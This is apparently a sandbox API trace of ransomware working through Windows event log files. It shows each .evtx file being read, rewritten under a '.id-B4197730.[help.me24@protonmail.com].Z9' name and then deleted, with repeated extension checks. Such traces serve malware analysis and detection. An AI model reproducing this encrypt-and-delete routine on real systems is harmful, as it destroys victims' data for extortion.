	[0078.320] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0078.320] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0078.320] CloseHandle (hObject=0x324) returned 1
	[0078.320] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20
	[0078.320] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.320] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0078.320] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.320] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.320] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0078.320] GetLastError () returned 0x0
	[0078.320] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.323] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.325] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.325] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x132, lpOverlapped=0x0) returned 1
	[0078.325] SetEndOfFile (hFile=0x364) returned 1
	[0078.325] CloseHandle (hObject=0x364) returned 1
	[0078.327] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.327] SetEndOfFile (hFile=0x324) returned 1
	[0078.329] CloseHandle (hObject=0x324) returned 1
	[0078.329] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.329] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1
	[0078.329] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.329] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.329] lstrlenW (lpString=".doc") returned 4
	[0078.329] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.329] lstrlenW (lpString=".docx") returned 5
	[0078.329] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.329] lstrlenW (lpString=".pdf") returned 4
	[0078.329] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.329] lstrlenW (lpString=".xls") returned 4
	[0078.329] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.329] lstrlenW (lpString=".xlsx") returned 5
	[0078.329] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.329] lstrlenW (lpString=".ppt") returned 4
	[0078.330] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.330] lstrlenW (lpString=".zip") returned 4
	[0078.330] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString=".rar") returned 4
	[0078.330] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString=".bz2") returned 4
	[0078.330] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString=".7z") returned 3
	[0078.330] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.330] lstrlenW (lpString=".dbf") returned 4
	[0078.330] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.330] lstrlenW (lpString=".1cd") returned 4
	[0078.330] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.330] lstrlenW (lpString=".jpg") returned 4
	[0078.330] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.330] lstrlenW (lpString=".doc") returned 4
	[0078.330] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString=".docx") returned 5
	[0078.330] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.330] lstrlenW (lpString=".pdf") returned 4
	[0078.330] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString=".xls") returned 4
	[0078.330] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString=".xlsx") returned 5
	[0078.330] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.330] lstrlenW (lpString=".ppt") returned 4
	[0078.330] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.330] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.330] lstrlenW (lpString=".zip") returned 4
	[0078.331] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.331] lstrlenW (lpString=".rar") returned 4
	[0078.331] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.331] lstrlenW (lpString=".bz2") returned 4
	[0078.331] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.331] lstrlenW (lpString=".7z") returned 3
	[0078.331] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.331] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.331] lstrlenW (lpString=".dbf") returned 4
	[0078.331] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.331] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.331] lstrlenW (lpString=".1cd") returned 4
	[0078.331] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.331] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55
	[0078.331] lstrlenW (lpString=".jpg") returned 4
	[0078.331] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.331] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.331] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78
	[0078.331] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0078.332] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0078.332] CloseHandle (hObject=0x324) returned 1
	[0078.332] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20
	[0078.332] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.332] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0078.332] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.332] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.332] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0078.333] GetLastError () returned 0x0
	[0078.333] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.335] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.337] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.337] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x170, lpOverlapped=0x0) returned 1
	[0078.337] SetEndOfFile (hFile=0x364) returned 1
	[0078.337] CloseHandle (hObject=0x364) returned 1
	[0078.340] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.340] SetEndOfFile (hFile=0x324) returned 1
	[0078.341] CloseHandle (hObject=0x324) returned 1
	[0078.341] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.341] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1
	[0078.341] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.341] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.341] lstrlenW (lpString=".doc") returned 4
	[0078.341] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.341] lstrlenW (lpString=".docx") returned 5
	[0078.342] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.342] lstrlenW (lpString=".pdf") returned 4
	[0078.342] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.342] lstrlenW (lpString=".xls") returned 4
	[0078.342] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.342] lstrlenW (lpString=".xlsx") returned 5
	[0078.342] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.342] lstrlenW (lpString=".ppt") returned 4
	[0078.342] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.342] lstrlenW (lpString=".zip") returned 4
	[0078.342] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.342] lstrlenW (lpString=".rar") returned 4
	[0078.342] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.342] lstrlenW (lpString=".bz2") returned 4
	[0078.342] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.342] lstrlenW (lpString=".7z") returned 3
	[0078.342] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.342] lstrlenW (lpString=".dbf") returned 4
	[0078.342] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.342] lstrlenW (lpString=".1cd") returned 4
	[0078.342] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.342] lstrlenW (lpString=".jpg") returned 4
	[0078.342] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.342] lstrlenW (lpString=".doc") returned 4
	[0078.342] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.342] lstrlenW (lpString=".docx") returned 5
	[0078.342] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.342] lstrlenW (lpString=".pdf") returned 4
	[0078.342] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.343] lstrlenW (lpString=".xls") returned 4
	[0078.343] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.343] lstrlenW (lpString=".xlsx") returned 5
	[0078.343] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.343] lstrlenW (lpString=".ppt") returned 4
	[0078.343] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.343] lstrlenW (lpString=".zip") returned 4
	[0078.343] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.343] lstrlenW (lpString=".rar") returned 4
	[0078.343] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.343] lstrlenW (lpString=".bz2") returned 4
	[0078.343] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.343] lstrlenW (lpString=".7z") returned 3
	[0078.343] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.343] lstrlenW (lpString=".dbf") returned 4
	[0078.343] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.343] lstrlenW (lpString=".1cd") returned 4
	[0078.343] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0078.343] lstrlenW (lpString=".jpg") returned 4
	[0078.343] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.343] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.343] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71
	[0078.343] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0078.857] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1052672) returned 1
	[0078.857] CloseHandle (hObject=0x324) returned 1
	[0078.858] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20
	[0078.858] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.870] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0078.870] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.870] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.870] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0078.871] GetLastError () returned 0x0
	[0078.871] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0078.893] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0079.133] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0079.144] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0079.148] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.148] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x162, lpOverlapped=0x0) returned 1
	[0079.148] SetEndOfFile (hFile=0x364) returned 1
	[0079.148] CloseHandle (hObject=0x364) returned 1
	[0080.375] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.375] SetEndOfFile (hFile=0x324) returned 1
	[0080.438] CloseHandle (hObject=0x324) returned 1
	[0080.438] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.463] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1
	[0080.463] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.463] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.463] lstrlenW (lpString=".doc") returned 4
	[0080.464] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.464] lstrlenW (lpString=".docx") returned 5
	[0080.464] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.464] lstrlenW (lpString=".pdf") returned 4
	[0080.464] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.464] lstrlenW (lpString=".xls") returned 4
	[0080.464] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.464] lstrlenW (lpString=".xlsx") returned 5
	[0080.464] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.464] lstrlenW (lpString=".ppt") returned 4
	[0080.464] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.464] lstrlenW (lpString=".zip") returned 4
	[0080.464] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.464] lstrlenW (lpString=".rar") returned 4
	[0080.464] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.464] lstrlenW (lpString=".bz2") returned 4
	[0080.464] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.464] lstrlenW (lpString=".7z") returned 3
	[0080.464] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.464] lstrlenW (lpString=".dbf") returned 4
	[0080.464] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.464] lstrlenW (lpString=".1cd") returned 4
	[0080.464] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.464] lstrlenW (lpString=".jpg") returned 4
	[0080.464] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.464] lstrlenW (lpString=".doc") returned 4
	[0080.464] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.465] lstrlenW (lpString=".docx") returned 5
	[0080.465] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.465] lstrlenW (lpString=".pdf") returned 4
	[0080.465] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.465] lstrlenW (lpString=".xls") returned 4
	[0080.465] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.465] lstrlenW (lpString=".xlsx") returned 5
	[0080.465] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.465] lstrlenW (lpString=".ppt") returned 4
	[0080.465] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.465] lstrlenW (lpString=".zip") returned 4
	[0080.465] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.465] lstrlenW (lpString=".rar") returned 4
	[0080.465] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.465] lstrlenW (lpString=".bz2") returned 4
	[0080.465] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.465] lstrlenW (lpString=".7z") returned 3
	[0080.465] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.465] lstrlenW (lpString=".dbf") returned 4
	[0080.465] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.465] lstrlenW (lpString=".1cd") returned 4
	[0080.465] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0080.465] lstrlenW (lpString=".jpg") returned 4
	[0080.465] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.466] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.466] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48
